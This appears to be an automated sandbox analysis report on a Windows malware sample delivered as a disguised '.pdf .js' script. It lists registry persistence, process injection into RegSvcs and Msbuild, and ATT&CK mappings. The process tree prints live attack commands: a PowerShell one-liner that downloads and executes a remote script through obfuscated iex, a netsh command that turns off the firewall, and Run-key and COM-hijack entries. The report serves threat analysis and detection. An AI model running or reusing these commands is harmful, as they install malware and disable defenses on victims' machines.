c32ca257ee0c260e7dfa276c8756ca9a50ea347de5e8b1b858dd5de0f85d763c

System Information Discovery

Processes:

wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	wscript.exe

Registers COM server for autorun 1 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Deissl1 = "schtasks /run /tn Deissl1"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

87 api.ipify.org
89 api.ipify.org
99 ip-api.com

flow	ioc
87	api.ipify.org
89	api.ipify.org
99	ip-api.com

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 468 set thread context of 5112	468	powershell.exe	RegSvcs.exe
PID 468 set thread context of 3576	468	powershell.exe	RegSvcs.exe
PID 468 set thread context of 2212	468	powershell.exe	Msbuild.exe

Drops file in Windows directory 1 IoCs

Processes:

dw20.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp dw20.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

dw20.exedw20.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

dw20.exedw20.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe

Modifies registry class 3 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exeRegSvcs.exe

pid	process
468	powershell.exe
468	powershell.exe
468	powershell.exe
468	powershell.exe
468	powershell.exe
468	powershell.exe
468	powershell.exe
5112	RegSvcs.exe
5112	RegSvcs.exe
5112	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeRegSvcs.exedw20.exedw20.exe

description	pid	process
Token: SeDebugPrivilege	468	powershell.exe
Token: SeDebugPrivilege	5112	RegSvcs.exe
Token: SeRestorePrivilege	4980	dw20.exe
Token: SeBackupPrivilege	4980	dw20.exe
Token: SeBackupPrivilege	4980	dw20.exe
Token: SeBackupPrivilege	4980	dw20.exe
Token: SeBackupPrivilege	4980	dw20.exe
Token: SeBackupPrivilege	1296	dw20.exe
Token: SeBackupPrivilege	1296	dw20.exe
Token: SeIncreaseQuotaPrivilege	468	powershell.exe
Token: SeSecurityPrivilege	468	powershell.exe
Token: SeTakeOwnershipPrivilege	468	powershell.exe
Token: SeLoadDriverPrivilege	468	powershell.exe
Token: SeSystemProfilePrivilege	468	powershell.exe
Token: SeSystemtimePrivilege	468	powershell.exe
Token: SeProfSingleProcessPrivilege	468	powershell.exe
Token: SeIncBasePriorityPrivilege	468	powershell.exe
Token: SeCreatePagefilePrivilege	468	powershell.exe
Token: SeBackupPrivilege	468	powershell.exe
Token: SeRestorePrivilege	468	powershell.exe
Token: SeShutdownPrivilege	468	powershell.exe
Token: SeDebugPrivilege	468	powershell.exe
Token: SeSystemEnvironmentPrivilege	468	powershell.exe
Token: SeRemoteShutdownPrivilege	468	powershell.exe
Token: SeUndockPrivilege	468	powershell.exe
Token: SeManageVolumePrivilege	468	powershell.exe
Token: 33	468	powershell.exe
Token: 34	468	powershell.exe
Token: 35	468	powershell.exe
Token: 36	468	powershell.exe
Token: SeIncreaseQuotaPrivilege	468	powershell.exe
Token: SeSecurityPrivilege	468	powershell.exe
Token: SeTakeOwnershipPrivilege	468	powershell.exe
Token: SeLoadDriverPrivilege	468	powershell.exe
Token: SeSystemProfilePrivilege	468	powershell.exe
Token: SeSystemtimePrivilege	468	powershell.exe
Token: SeProfSingleProcessPrivilege	468	powershell.exe
Token: SeIncBasePriorityPrivilege	468	powershell.exe
Token: SeCreatePagefilePrivilege	468	powershell.exe
Token: SeBackupPrivilege	468	powershell.exe
Token: SeRestorePrivilege	468	powershell.exe
Token: SeShutdownPrivilege	468	powershell.exe
Token: SeDebugPrivilege	468	powershell.exe
Token: SeSystemEnvironmentPrivilege	468	powershell.exe
Token: SeRemoteShutdownPrivilege	468	powershell.exe
Token: SeUndockPrivilege	468	powershell.exe
Token: SeManageVolumePrivilege	468	powershell.exe
Token: 33	468	powershell.exe
Token: 34	468	powershell.exe
Token: 35	468	powershell.exe
Token: 36	468	powershell.exe
Token: SeIncreaseQuotaPrivilege	468	powershell.exe
Token: SeSecurityPrivilege	468	powershell.exe
Token: SeTakeOwnershipPrivilege	468	powershell.exe
Token: SeLoadDriverPrivilege	468	powershell.exe
Token: SeSystemProfilePrivilege	468	powershell.exe
Token: SeSystemtimePrivilege	468	powershell.exe
Token: SeProfSingleProcessPrivilege	468	powershell.exe
Token: SeIncBasePriorityPrivilege	468	powershell.exe
Token: SeCreatePagefilePrivilege	468	powershell.exe
Token: SeBackupPrivilege	468	powershell.exe
Token: SeRestorePrivilege	468	powershell.exe
Token: SeShutdownPrivilege	468	powershell.exe
Token: SeDebugPrivilege	468	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

Processes:

wscript.exepowershell.execsc.exeRegSvcs.exeMsbuild.exe

description	pid	process	target process
PID 808 wrote to memory of 468	808	wscript.exe	powershell.exe
PID 808 wrote to memory of 468	808	wscript.exe	powershell.exe
PID 468 wrote to memory of 3416	468	powershell.exe	csc.exe
PID 468 wrote to memory of 3416	468	powershell.exe	csc.exe
PID 3416 wrote to memory of 3532	3416	csc.exe	cvtres.exe
PID 3416 wrote to memory of 3532	3416	csc.exe	cvtres.exe
PID 468 wrote to memory of 3660	468	powershell.exe	netsh.exe
PID 468 wrote to memory of 3660	468	powershell.exe	netsh.exe
PID 468 wrote to memory of 5112	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 5112	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 5112	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 5112	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 5112	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 5112	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 5112	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 5112	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 3576	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 3576	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 3576	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 3576	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 3576	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 3576	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 3576	468	powershell.exe	RegSvcs.exe
PID 468 wrote to memory of 3576	468	powershell.exe	RegSvcs.exe
PID 3576 wrote to memory of 4980	3576	RegSvcs.exe	dw20.exe
PID 3576 wrote to memory of 4980	3576	RegSvcs.exe	dw20.exe
PID 3576 wrote to memory of 4980	3576	RegSvcs.exe	dw20.exe
PID 468 wrote to memory of 2212	468	powershell.exe	Msbuild.exe
PID 468 wrote to memory of 2212	468	powershell.exe	Msbuild.exe
PID 468 wrote to memory of 2212	468	powershell.exe	Msbuild.exe
PID 468 wrote to memory of 2212	468	powershell.exe	Msbuild.exe
PID 468 wrote to memory of 2212	468	powershell.exe	Msbuild.exe
PID 468 wrote to memory of 2212	468	powershell.exe	Msbuild.exe
PID 468 wrote to memory of 2212	468	powershell.exe	Msbuild.exe
PID 468 wrote to memory of 2212	468	powershell.exe	Msbuild.exe
PID 2212 wrote to memory of 1296	2212	Msbuild.exe	dw20.exe
PID 2212 wrote to memory of 1296	2212	Msbuild.exe	dw20.exe
PID 2212 wrote to memory of 1296	2212	Msbuild.exe	dw20.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\BL#ACU240141 & Doc#HLCUBKK240124139.pdf .js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm simoubizw.blogspot.com///////////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 6
2⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:468

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vyldccjb\vyldccjb.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:3416

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5709.tmp" "c:\Users\Admin\AppData\Local\Temp\vyldccjb\CSC2BB580203AA3408988EC8A881C8446C0.TMP"
4⤵
PID:3532

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue
3⤵
- Modifies Windows Firewall
PID:3660

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5112

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3576

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 788
4⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4980

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 780
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1296

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:1360

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
PID:3728

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Query Registry

3

System Information Discovery

4

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service